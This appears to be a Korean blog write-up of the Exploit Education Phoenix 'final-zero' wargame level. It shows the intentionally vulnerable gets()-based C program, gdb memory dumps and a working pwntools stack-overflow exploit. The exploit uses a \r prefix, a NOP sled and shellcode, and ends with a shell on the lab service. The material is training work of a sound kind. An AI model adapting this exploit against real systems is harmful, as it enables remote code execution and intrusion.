1. intro
2. code 및 분석
2.1. C code
/*
* phoenix/final-zero, by https://exploit.education
*
* The aim is to change the contents of the changeme variable.
*
* A woman has twins and gives them up for adoption.
*
* One of them goes to a family in Egypt and is named Amal. The other goes to a
* family in Spain. They name him Juan.
*
* Years later, Juan sends a picture of himself to his birth mother. Upon
* receiving the picture, she tells her husband that she wishes she also had a
* picture of Amal. He responds, "They're twins! If you've seen Juan, you've
* seen Amal."
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *gets(char *s);
/*
* Read the username in from the network
*/
char *get_username() {
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if (q) *q = 0;
q = strchr(buffer, '\r');
if (q) *q = 0;
/* Convert to lower case */
for (i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp) {
char *username;
printf("%s\n", BANNER);
fflush(stdout);
username = get_username();
printf("No such user %s\n", username);
}
2.2. 분석
main 함수에서 get_username 함수를 실행한다.
get_username 함수에서는 512 bytes의 buffer 변수를 할당하고 값을 받아들이는데 그 크기를 체크하지 않는다.
더불어 받아들인 값 중에 \n, \r 문자가 있는지 확인하여 0으로 변경하고, lower case인 경우 upper로 변경한다.
이후 strdup 함수를 통해 buffer의 값을 heap에 복사하고 해당 주소를 return 한다.
다시 main 함수로 돌아와 해당 주소의 문자열을 출력하고 종료한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
get_username 함수에서 512 bytes의 buffer 변수를 할당하고 값을 받아들이는데 그 크기를 체크하지 않아 overflow가 발생한다.
3.2. 공격 준비
대략 get_username 함수의 ret address를 shellcode 주소로 바꾸면 될 것으로 보인다.
우선 get_username 함수의 buffer 및 ret address 위치는 아래와 같다.
gef> r <<< $(python -c 'print "A"*512')
Starting program: /opt/phoenix/amd64/final-zero <<< $(python -c 'print "A"*512')
Welcome to phoenix/final-zero, brought to you by https://exploit.education
...
──────────────────────────────────────────────────────────── code:x86:64 ────
0x4007f2 <get_username+37> lea -0x220(%rbp), %rax
0x4007f9 <get_username+44> mov %rax, %rdi
0x4007fc <get_username+47> callq 0x4005d0 <gets@plt>
→ 0x400801 <get_username+52> lea -0x220(%rbp), %rax
0x400808 <get_username+59> mov $0xa, %esi
0x40080d <get_username+64> mov %rax, %rdi
0x400810 <get_username+67> callq 0x400650 <strchr@plt>
0x400815 <get_username+72> mov %rax, -0x20(%rbp)
0x400819 <get_username+76> cmpq $0x0, -0x20(%rbp)
──────────────────────────────────────────────────────────────── threads ────
...
gef> x/40gx $rsp
0x7fffffffe430: 0x4141414141414141 0x4141414141414141
...
0x7fffffffe610: 0x4141414141414141 0x4141414141414141
0x7fffffffe620: 0x4141414141414141 0x4141414141414141
0x7fffffffe630: 0x00007ffff7ff0000 0x00007ffff7db9934
0x7fffffffe640: 0x00007fffffffe6e8 0x00007fffffffe6e8
0x7fffffffe650: 0x00007fffffffe690 0x00000000004008e8
0x7fffffffe660: 0x0000000000000000 0x00007fffffffe6f8
0x7fffffffe670: 0x00007fffffffe6e8 0x00000001ffffe6f8
0x7fffffffe680: 0x00000000004008b2 0x0000000000000000
0x7fffffffe690: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe6a0: 0x0000000000000000 0x00007fffffffe6e0
gef> p $rbp
$2 = (void *) 0x7fffffffe650
이제 get_username 함수 내에서 소문자를 대문자로 변경하는 코드가 포함되어있기에 이를 유의해야 한다.
다만, 받아들인 값 중 \n, \r이면 \x00으로 값을 변경하는데,
gets 함수에서는 값을 받아들일때 해당 값 내에 \n이 있으면 입력의 끝으로 인식하여 그 이후의 값은 받아들이지 않지만, \r의 경우 영향을 주지 않아 모든 값을 받아들인다.
더불어 이후의 if 문에서 강제로 \x00으로 변경하며 이 다음에 toupper 함수가 실행되기에 예외가 발생하는 것이다.
예를 들어보면 아래와 같다.
\n 이후에 값을 전달한 경우
gef> r <<< $(python -c 'print "a"*100 + "\n" + "a"*100')
Starting program: /opt/phoenix/amd64/final-zero <<< $(python -c 'print "a"*100 + "\n" + "a"*100')
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004008a8 in get_username ()
...
gef> x/40gx $rsp
0x7fffffffe430: 0x4141414141414141 0x4141414141414141
0x7fffffffe440: 0x4141414141414141 0x4141414141414141
0x7fffffffe450: 0x4141414141414141 0x4141414141414141
0x7fffffffe460: 0x4141414141414141 0x4141414141414141
0x7fffffffe470: 0x4141414141414141 0x4141414141414141
0x7fffffffe480: 0x4141414141414141 0x4141414141414141
0x7fffffffe490: 0x0000000041414141 0x0000000000000000
\r 이후에 값을 전달한 경우
gef> r <<< $(python -c 'print "a"*100 + "\r" + "a"*100')
Starting program: /opt/phoenix/amd64/final-zero <<< $(python -c 'print "a"*100 + "\r" + "a"*100')
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004008a8 in get_username ()
[ Legend: Modified register | Code | Heap | Stack | String ]
...
gef> x/40gx $rsp
0x7fffffffe430: 0x4141414141414141 0x4141414141414141
0x7fffffffe440: 0x4141414141414141 0x4141414141414141
0x7fffffffe450: 0x4141414141414141 0x4141414141414141
0x7fffffffe460: 0x4141414141414141 0x4141414141414141
0x7fffffffe470: 0x4141414141414141 0x4141414141414141
0x7fffffffe480: 0x4141414141414141 0x4141414141414141
0x7fffffffe490: 0x6161610041414141 0x6161616161616161
4. exploit
위 내용을 유의해서 페이로드를 작성해보자.
from pwn import *
p = remote('localhost',64003)
#p = process('/opt/phoenix/amd64/final-zero')
context.arch = 'amd64'
totlen=552
pay = b''
pay += b'\r'
pay += b'\x90'*300
pay += asm(shellcraft.sh())
pay += b'\x90'*(totlen-len(pay))
pay += p64(0x7fffffffe501)
p.recvline()
p.sendline(pay)
p.interactive()
미친... 로컬에서 로컬로 접속해서 푸는데 로되리안이라니...
gdb로 다시 주소 확인.
user@phoenix-amd64:~$ ps -aux | grep final
phoenix+ 2058 0.8 0.0 752 4 ? Ss 00:23 0:00 /opt/phoenix/amd64/final-zero
user 2068 0.0 0.0 11112 936 pts/0 S+ 00:23 0:00 grep final
user@phoenix-amd64:~$ sudo gdb -p 2058
...
gef> b *get_username + 219
Breakpoint 1 at 0x4008a8
gef> c
Continuing.
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'all_registers':
Breakpoint 1, 0x00000000004008a8 in get_username ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────── registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gef> x/40gx $rsp
0x7fffffffea60: 0x9090909090909000 0x9090909090909090
0x7fffffffea70: 0x9090909090909090 0x9090909090909090
0x7fffffffea80: 0x9090909090909090 0x9090909090909090
0x7fffffffea90: 0x9090909090909090 0x9090909090909090
0x7fffffffeaa0: 0x9090909090909090 0x9090909090909090
0x7fffffffeab0: 0x9090909090909090 0x9090909090909090
0x7fffffffeac0: 0x9090909090909090 0x9090909090909090
0x7fffffffead0: 0x9090909090909090 0x9090909090909090
0x7fffffffeae0: 0x9090909090909090 0x9090909090909090
0x7fffffffeaf0: 0x9090909090909090 0x9090909090909090
0x7fffffffeb00: 0x9090909090909090 0x9090909090909090
0x7fffffffeb10: 0x9090909090909090 0x9090909090909090
0x7fffffffeb20: 0x9090909090909090 0x9090909090909090
0x7fffffffeb30: 0x9090909090909090 0x9090909090909090
0x7fffffffeb40: 0x9090909090909090 0x9090909090909090
0x7fffffffeb50: 0x9090909090909090 0x9090909090909090
0x7fffffffeb60: 0x9090909090909090 0x9090909090909090
0x7fffffffeb70: 0x9090909090909090 0x9090909090909090
0x7fffffffeb80: 0x9090909090909090 0x48686a9090909090
0x7fffffffeb90: 0x2f2f2f6e69622fb8 0x697268e789485073
gef>
0x7fffffffeba0: 0x0101012434810101 0x485e086a56f63101
0x7fffffffebb0: 0xd231e6894856e601 0x909090050f583b6a
0x7fffffffebc0: 0x9090909090909090 0x9090909090909090
0x7fffffffebd0: 0x9090909090909090 0x9090909090909090
0x7fffffffebe0: 0x9090909090909090 0x9090909090909090
0x7fffffffebf0: 0x9090909090909090 0x9090909090909090
0x7fffffffec00: 0x9090909090909090 0x9090909090909090
0x7fffffffec10: 0x9090909090909090 0x9090909090909090
0x7fffffffec20: 0x9090909090909090 0x9090909090909090
0x7fffffffec30: 0x9090909090909090 0x9090909090909090
0x7fffffffec40: 0x9090909090909090 0x9090909090909090
0x7fffffffec50: 0x9090909090909090 0x9090909090909090
0x7fffffffec60: 0x00007fffffffea60 0x0000000090909090
0x7fffffffec70: 0x9090909090909090 0x9090909090909090
0x7fffffffec80: 0x9090909090909090 0x00007fffffffe501
0x7fffffffec90: 0x000000000000000a 0x00007fffffffed28
0x7fffffffeca0: 0x00007fffffffed18 0x00000001ffffed28
0x7fffffffecb0: 0x00000000004008b2 0x0000000000000000
0x7fffffffecc0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffecd0: 0x0000000000000000 0x00007fffffffed10
gef>
여기서 중요한점은 sudo 명령어를 통해 권한 획득 후 gdb attach 이다.
해당 주소로 다시 변경.
from pwn import *
p = remote('localhost',64003)
#p = process('/opt/phoenix/amd64/final-zero')
context.arch = 'amd64'
totlen=552
pay = b''
pay += b'\r'
pay += b'\x90'*300
pay += asm(shellcraft.sh())
pay += b'\x90'*(totlen-len(pay))
pay += p64(0x7fffffffeb10)
p.recvline()
p.sendline(pay)
p.interactive()
user@phoenix-amd64:~$ python /tmp/a.py
[+] Opening connection to localhost on port 64003: Done
[*] Switching to interactive mode
$
$ id
uid=419(phoenix-amd64-final-zero) gid=419(phoenix-amd64-final-zero) groups=419(phoenix-amd64-final-zero)
'Wargame > Exploit Education' 카테고리의 다른 글
[Phoenix] Final two (0) | 2022.10.19 |
---|---|
[Phoenix] Net two (0) | 2022.10.13 |
[Phoenix] Net one (0) | 2022.10.13 |
[Phoenix] Net zero (0) | 2022.10.13 |
[Phoenix] Heap three (0) | 2022.10.06 |